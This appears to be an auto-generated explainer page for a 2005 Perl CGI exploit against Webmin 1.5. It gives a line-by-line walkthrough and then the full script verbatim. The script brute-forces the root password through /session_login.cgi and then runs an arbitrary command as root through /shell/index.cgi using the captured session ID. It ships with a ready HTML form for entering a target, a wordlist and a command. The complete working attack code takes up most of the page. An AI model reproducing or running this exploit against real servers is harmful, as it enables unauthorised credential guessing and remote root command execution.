By exploitdb papers bot•January 8, 2005•
papers
Webmin 1.5 CGI Brute Force and Command Execution Exploit Explained

Webmin 1.5 CGI Brute Force and Command Execution Exploit Explained
What this paper is
This paper details a Perl CGI script designed to exploit a vulnerability in Webmin version 1.5. The script performs two main functions:
- Brute-force login: It attempts to guess the password for the 'root' user by iterating through a provided wordlist.
- Command execution: Once a successful login is achieved (by finding the correct password), it allows an attacker to execute arbitrary commands on the target Webmin server.
This exploit leverages the web interface of Webmin, specifically targeting its login and shell functionalities.
Simple technical breakdown
The script works by:
- Receiving Input: It takes parameters like the target
host, awlist(wordlist file), and acmd(command to execute) via a web form. - Port Check (Implicit): It first attempts to establish a socket connection to port 10000 on the target host. If this fails, it assumes Webmin is not running or accessible.
- Brute-Force Login:
- It reads passwords from the specified wordlist.
- For each password, it crafts a POST request to
/session_login.cgion the Webmin server. - It looks for a
sid=parameter in the server's response. Thissidis a session identifier. - If a
sidis found, the password is correct, and the script proceeds.
- Command Execution:
- Using the obtained
sid, it crafts another POST request to/shell/index.cgi. - This request is formatted as
multipart/form-data, containing the command to be executed, along with other parameters likepwd(current directory, set to/root),history, andprevious. - The script then parses the server's response to display the output of the executed command.
- Using the obtained
Complete code and payload walkthrough
The provided code is a Perl script intended to be run as a CGI executable on a web server.
#!/usr/bin/perl
use CGI qw(:standard);
use IO::Socket;
$CGI::HEADERS_ONCE = 1;
$CGI = new CGI;
$atak = $CGI->param("atak");
$host = $CGI->param("host");
$wlist = $CGI->param("wlist");
$cmd = $CGI->param("cmd");
print $CGI->header(-type=>'text/html',-charset=>'windows-1254');
print qq~<html><head><meta http-equiv=Content-Type" content=text/html;
charset=ISO-8859-9><title>Webmin Web Brute Force v1.5 - cgi
versiyon</title></head>
<body bgcolor=black text=red>Webmin Web Brute Force v1.5 - cgi versiyon<br>
<font color=blue>
Webmin BruteForce + Command execution- cgi version<br>
v1.0:By Di42lo - DiAblo_2@012.net.il<br>
v1.5:By ZzagorR - zzagorrzzagorr@hotmail.com - www.rootbinbash.com<br>
</font>~;#!/usr/bin/perl: Shebang line, indicating the script should be executed by the Perl interpreter.use CGI qw(:standard);: Imports the CGI module, providing functions for handling web requests and responses.use IO::Socket;: Imports the IO::Socket module, enabling network socket operations (TCP/IP communication).$CGI::HEADERS_ONCE = 1;: A CGI module setting to ensure headers are sent only once.$CGI = new CGI;: Creates a new CGI object to process incoming request parameters.$atak = $CGI->param("atak");: Retrieves the value of theatakparameter from the CGI request. This parameter likely controls the script's mode of operation.$host = $CGI->param("host");: Retrieves the target hostname or IP address.$wlist = $CGI->param("wlist");: Retrieves the name of the wordlist file.$cmd = $CGI->param("cmd");: Retrieves the command to be executed.print $CGI->header(-type=>'text/html',-charset=>'windows-1254');: Prints the HTTP header. It specifies the content type as HTML and character set aswindows-1254.print qq~ ... ~;: Prints the initial HTML structure of the web page, including the title and some introductory text. Theqq~is a Perl quoting mechanism.
if($atak eq "webmin") {
open (data, "$wlist");
@wordlist=<data>;
close data;
$passx=@wordlist;
$chk=0;
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host",
PeerPort => "10000",Timeout => 25) || die "[-] Webmin on this host does not
exist\r\n";
$sock->close;
print "[+] BruteForcing...<br>";
$sid;
$n=0;
while ($chk!=1) {
$n++;
if($n>$passx){
exit;
}
$pass=@wordlist[$passx-$n];
$pass_line="page=%2F&user=root&pass=$pass";
$buffer="POST /session_login.cgi HTTP/1.0\n".
"Host: $host:10000\n".
"Keep-Alive: 300\n".
"Connection: keep-alive\n".
"Referer: http://$host:10000/\n".
"Cookie: testing=1\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: __\n".
"\n".
$pass_line."\n\n";
$line_size=length($pass_line);
$buffer=~s/__/$line_size/g;
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host",
PeerPort => "10000",Timeout => 25);
if ($sock){
print "[+] Denenen sifre: $pass<br>";
print $sock $buffer;
while ($answer=<$sock>){
if ($answer=~/sid=(.*);/g){
$chk=1;
$sid=$1;
print "[+] Found SID : $sid<br>";
print "[+] Sifre : $pass<br>";
}
}
}
$sock->close;
}if($atak eq "webmin") { ... }: This block executes only if theatakparameter is set to "webmin", indicating the brute-force and command execution mode.open (data, "$wlist"); @wordlist=<data>; close data;: Opens the file specified by$wlist, reads all lines into the@wordlistarray, and then closes the file. This populates the list of passwords to try.$passx=@wordlist;: Stores the total number of passwords in the wordlist.$chk=0;: Initializes a flag$chkto 0. This flag will be set to 1 when a valid session ID (sid) is found.$sock = IO::Socket::INET->new(...) || die ...; $sock->close;: Attempts to establish an initial TCP connection to the target host on port 10000 (Webmin's default port). If it fails, it prints an error and exits. The socket is immediately closed as this is just a preliminary check.print "[+] BruteForcing...<br>";: Informs the user that the brute-force process is starting.$sid; $n=0; while ($chk!=1) { ... }: This is the main loop for brute-forcing. It continues as long as$chkis not 1 (meaning no valid password has been found yet).$n++;: Increments a counter$n.if($n>$passx){ exit; }: If the counter exceeds the total number of passwords, it means all passwords have been tried without success, and the script exits.$pass=@wordlist[$passx-$n];: Selects a password from the wordlist. Note the$passx-$nindexing, which means it iterates through the wordlist in reverse order.$pass_line="page=%2F&user=root&pass=$pass";: Constructs the URL-encoded data for the login request. It targets the/page, sets the username toroot, and uses the current password being tested.$buffer="...": Builds the raw HTTP POST request.POST /session_login.cgi HTTP/1.0: Specifies the HTTP method, target CGI script, and protocol version.Host: $host:10000: Sets the Host header.Keep-Alive: 300,Connection: keep-alive: Standard headers for persistent connections.Referer: http://$host:10000/: The referring page.Cookie: testing=1: A dummy cookie.Content-Type: application/x-www-form-urlencoded: Indicates the format of the request body.Content-Length: __\n: A placeholder for the actual content length.\n: Separator between headers and body.$pass_line."\n\n": The actual data being sent.
$line_size=length($pass_line); $buffer=~s/__/$line_size/g;: Calculates the length of$pass_lineand replaces the__placeholder in the$bufferwith this length.$sock = IO::Socket::INET->new(...): Establishes a new socket connection to the target.if ($sock){ ... }: If the connection is successful:print "[+] Denenen sifre: $pass<br>";: Prints the password being attempted.print $sock $buffer;: Sends the crafted HTTP request to the server.while ($answer=<$sock>){ ... }: Reads the server's response line by line.if ($answer=~/sid=(.*);/g){ ... }: This is the crucial part. It searches for a line containingsid=followed by any characters (captured in group(.*)) until a semicolon. If found:$chk=1;: Sets the flag to indicate success.$sid=$1;: Stores the captured session ID in the$sidvariable.print "[+] Found SID : $sid<br>"; print "[+] Sifre : $pass<br>";: Informs the user about the found session ID and the correct password.
$sock->close;: Closes the socket connection after processing the response.
print "[+] Connecting to host once again<br>";
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort
=> "10000",Timeout => 10) || die "[-] Cant Connect once again for command
execution\n";
print "[+] Connected.. Sending Buffer<br>";
$temp="-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"cmd\"\n".
"\n".
"$cmd\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"pwd\"\n".
"\n".
"/root\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"history\"\n".
"\n".
"\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"previous\"\n".
"\n".
"$cmd\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"pcmd\"\n".
"\n".
"$cmd\n".
"-----------------------------19777347561180971495777867604--\n\n";
$buffer_size=length($temp);
$buffer="POST /shell/index.cgi HTTP/1.1\n".
"Host: $host:10000\n".
"Keep-Alive: 300\n".
"Connection: keep-alive\n".
"Referer: http://$host:10000/shell/\n".
"Cookie: sid=$sid\; testing=1; x\n".
"Content-Type: multipart/form-data;
boundary=---------------------------19777347561180971495777867604\n".
"Content-Length: siz\n".
"\n".
$temp;
$buffer=~s/siz/$buffer_size/g;
print $sock $buffer;
if ($sock){
print "[+] Buffer sent...running command $cmd<br>";
print $sock $buffer;
while ($answer=<$sock>){
if ($answer=~/defaultStatus="(.*)";/g) { print $1."<br>";}
if ($answer=~/<td><pre><b>>/g){
$cmd_chk=1;
}
if ($cmd_chk==1) {
if ($answer=~/<\/pre><\/td><\/tr>/g){
exit;
} else {
print $answer;
}
}
}
}
}print "[+] Connecting to host once again<br>";: Indicates the script is re-connecting for command execution.$sock = IO::Socket::INET->new(...) || die ...;: Establishes a new socket connection to the target host on port 10000. This time, it's for sending the command.print "[+] Connected.. Sending Buffer<br>";: Informs the user that the connection is established and the command buffer is about to be sent.$temp="...": This is the core of the command execution payload. It's formatted asmultipart/form-data, which is used for uploading files or submitting complex form data.-----------------------------19777347561180971495777867604: This is theboundarystring. It's a unique delimiter used to separate different parts of themultipart/form-datamessage. The script uses a hardcoded boundary.Content-Disposition: form-data; name="cmd"\n\n$cmd\n: This part defines a form field named "cmd" and its value is the command provided by the user ($cmd).Content-Disposition: form-data; name="pwd"\n\n/root\n: Defines a form field named "pwd" (likely for the current directory) set to/root.Content-Disposition: form-data; name="history"\n\n\n: Defines a form field for command history, left empty.Content-Disposition: form-data; name="previous"\n\n$cmd\n: Defines a field for the previous command, set to the current command.Content-Disposition: form-data; name="pcmd"\n\n$cmd\n: Defines a field for "previous command" (or similar), also set to the current command.-----------------------------19777347561180971495777867604--\n\n: The closing boundary for the multipart data.
$buffer_size=length($temp);: Calculates the size of the$tempdata.$buffer="POST /shell/index.cgi HTTP/1.1\n" ... $temp;: Constructs the main HTTP POST request for command execution.POST /shell/index.cgi HTTP/1.1: Targets the/shell/index.cgiscript.Host: $host:10000: Host header.Keep-Alive,Connection: Standard headers.Referer: http://$host:10000/shell/: The referring page.Cookie: sid=$sid\; testing=1; x: Crucially, this includes thesidobtained during the brute-force phase, along with other cookies. This authenticates the request.Content-Type: multipart/form-data; boundary=---------------------------19777347561180971495777867604: Specifies the content type and the boundary string used in$temp.Content-Length: siz\n: Placeholder for the content length.
$buffer=~s/siz/$buffer_size/g;: Replaces thesizplaceholder with the actual calculated size of the$tempdata.print $sock $buffer;: Sends the complete HTTP request to the server.if ($sock){ ... }: If the connection is still open:print "[+] Buffer sent...running command $cmd<br>"; print $sock $buffer;: Prints a message and re-sends the buffer (this secondprint $sock $buffer;seems redundant if the first one was successful, but it's in the code).while ($answer=<$sock>){ ... }: Reads the server's response.if ($answer=~/defaultStatus="(.*)";/g) { print $1."<br>";}: Attempts to extract and print the value ofdefaultStatusattribute, which might contain command execution status or output.if ($answer=~/<td><pre><b>>/g){ $cmd_chk=1; }: Sets a flag$cmd_chkwhen it encounters the start of a preformatted block (<pre><b>), likely where command output is displayed.if ($cmd_chk==1) { ... }: If the command output block has started:if ($answer=~/<\/pre><\/td><\/tr>/g){ exit; }: If the end of the output block is found, exit the loop.else { print $answer; }: Otherwise, print the current line of the response, which is assumed to be part of the command output.
}
if($atak eq ""){
print qq~
<table align=left cellspacing="0" cellpading="0"><form aciton=?><input
type=hidden name=atak value=webmin>
<tr><td colspan="3" align=center>Webmin Web Brute Force v1.5 - cgi
version</td></tr>
<tr><td>Server:</td><td colspan="2"><input type="text" name="host" size="50"
value="www."></td></tr>
<tr><td valign="top">Wordlist:</td><td valign="top"><input type="file"
name="wlist"></td><td valign="top"
align="left">Examples:<br>---------<br>admin<br>administrator<br>redhat<br>mandrake<br>suse<br></td></tr>
<tr><td>Cmd:</td><td colspan="2"><input type="text" name="cmd" size="50"
value="uptime"></td></tr>
<tr><td colspan="3" align="center"><input type="submit" name=""
value="Gooooooo!"></td></tr>
</form></table></body></html>~;
}
# milw0rm.com [2005-01-08]
-----if($atak eq ""){ ... }: This block executes if theatakparameter is empty. This is the default state when the CGI script is first accessed without any parameters.print qq~ ... ~;: Prints an HTML form.<form aciton=?: The form submits to the same CGI script.<input type=hidden name=atak value=webmin>: A hidden input field that, when the form is submitted, will set theatakparameter to "webmin", triggering the exploit logic.<tr><td>Server:</td><td colspan="2"><input type="text" name="host" ...></td></tr>: An input field for the targethost.<tr><td valign="top">Wordlist:</td><td valign="top"><input type="file" name="wlist"></td> ... </tr>: An input field for uploading thewlistfile. Note thatinput type="file"means the wordlist is uploaded from the client's machine to the web server running the CGI script.<tr><td>Cmd:</td><td colspan="2"><input type="text" name="cmd" ...></td></tr>: An input field for the command to execute.<tr><td colspan="3" align="center"><input type="submit" ... value="Gooooooo!"></td></tr>: The submit button.
# milw0rm.com [2005-01-08]: A comment indicating the source and publication date of the exploit.
Mapping of code fragments to practical purpose:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
use CGI qw(:standard);
use IO::Socket;
$CGI::HEADERS_ONCE = 1;
$CGI = new CGI;
$atak = $CGI->param("atak");
$host = $CGI->param("host");
$wlist = $CGI->param("wlist");
$cmd = $CGI->param("cmd");
print $CGI->header(-type=>'text/html',-charset=>'windows-1254');
print qq~<html><head><meta http-equiv=Content-Type" content=text/html;
charset=ISO-8859-9><title>Webmin Web Brute Force v1.5 - cgi
versiyon</title></head>
<body bgcolor=black text=red>Webmin Web Brute Force v1.5 - cgi versiyon<br>
<font color=blue>
Webmin BruteForce + Command execution- cgi version<br>
v1.0:By Di42lo - DiAblo_2@012.net.il<br>
v1.5:By ZzagorR - zzagorrzzagorr@hotmail.com - www.rootbinbash.com<br>
</font>~;
if($atak eq "webmin") {
open (data, "$wlist");
@wordlist=<data>;
close data;
$passx=@wordlist;
$chk=0;
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host",
PeerPort => "10000",Timeout => 25) || die "[-] Webmin on this host does not
exist\r\n";
$sock->close;
print "[+] BruteForcing...<br>";
$sid;
$n=0;
while ($chk!=1) {
$n++;
if($n>$passx){
exit;
}
$pass=@wordlist[$passx-$n];
$pass_line="page=%2F&user=root&pass=$pass";
$buffer="POST /session_login.cgi HTTP/1.0\n".
"Host: $host:10000\n".
"Keep-Alive: 300\n".
"Connection: keep-alive\n".
"Referer: http://$host:10000/\n".
"Cookie: testing=1\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: __\n".
"\n".
$pass_line."\n\n";
$line_size=length($pass_line);
$buffer=~s/__/$line_size/g;
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host",
PeerPort => "10000",Timeout => 25);
if ($sock){
print "[+] Denenen sifre: $pass<br>";
print $sock $buffer;
while ($answer=<$sock>){
if ($answer=~/sid=(.*);/g){
$chk=1;
$sid=$1;
print "[+] Found SID : $sid<br>";
print "[+] Sifre : $pass<br>";
}
}
}
$sock->close;
}
print "[+] Connecting to host once again<br>";
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort
=> "10000",Timeout => 10) || die "[-] Cant Connect once again for command
execution\n";
print "[+] Connected.. Sending Buffer<br>";
$temp="-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"cmd\"\n".
"\n".
"$cmd\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"pwd\"\n".
"\n".
"/root\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"history\"\n".
"\n".
"\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"previous\"\n".
"\n".
"$cmd\n".
"-----------------------------19777347561180971495777867604\n".
"Content-Disposition: form-data; name=\"pcmd\"\n".
"\n".
"$cmd\n".
"-----------------------------19777347561180971495777867604--\n\n";
$buffer_size=length($temp);
$buffer="POST /shell/index.cgi HTTP/1.1\n".
"Host: $host:10000\n".
"Keep-Alive: 300\n".
"Connection: keep-alive\n".
"Referer: http://$host:10000/shell/\n".
"Cookie: sid=$sid\; testing=1; x\n".
"Content-Type: multipart/form-data;
boundary=---------------------------19777347561180971495777867604\n".
"Content-Length: siz\n".
"\n".
$temp;
$buffer=~s/siz/$buffer_size/g;
print $sock $buffer;
if ($sock){
print "[+] Buffer sent...running command $cmd<br>";
print $sock $buffer;
while ($answer=<$sock>){
if ($answer=~/defaultStatus="(.*)";/g) { print $1."<br>";}
if ($answer=~/<td><pre><b>>/g){
$cmd_chk=1;
}
if ($cmd_chk==1) {
if ($answer=~/<\/pre><\/td><\/tr>/g){
exit;
} else {
print $answer;
}
}
}
}
}
if($atak eq ""){
print qq~
<table align=left cellspacing="0" cellpading="0"><form aciton=?><input
type=hidden name=atak value=webmin>
<tr><td colspan="3" align=center>Webmin Web Brute Force v1.5 - cgi
version</td></tr>
<tr><td>Server:</td><td colspan="2"><input type="text" name="host" size="50"
value="www."></td></tr>
<tr><td valign="top">Wordlist:</td><td valign="top"><input type="file"
name="wlist"></td><td valign="top"
align="left">Examples:<br>---------<br>admin<br>administrator<br>redhat<br>mandrake<br>suse<br></td></tr>
<tr><td>Cmd:</td><td colspan="2"><input type="text" name="cmd" size="50"
value="uptime"></td></tr>
<tr><td colspan="3" align="center"><input type="submit" name=""
value="Gooooooo!"></td></tr>
</form></table></body></html>~;
}
# milw0rm.com [2005-01-08]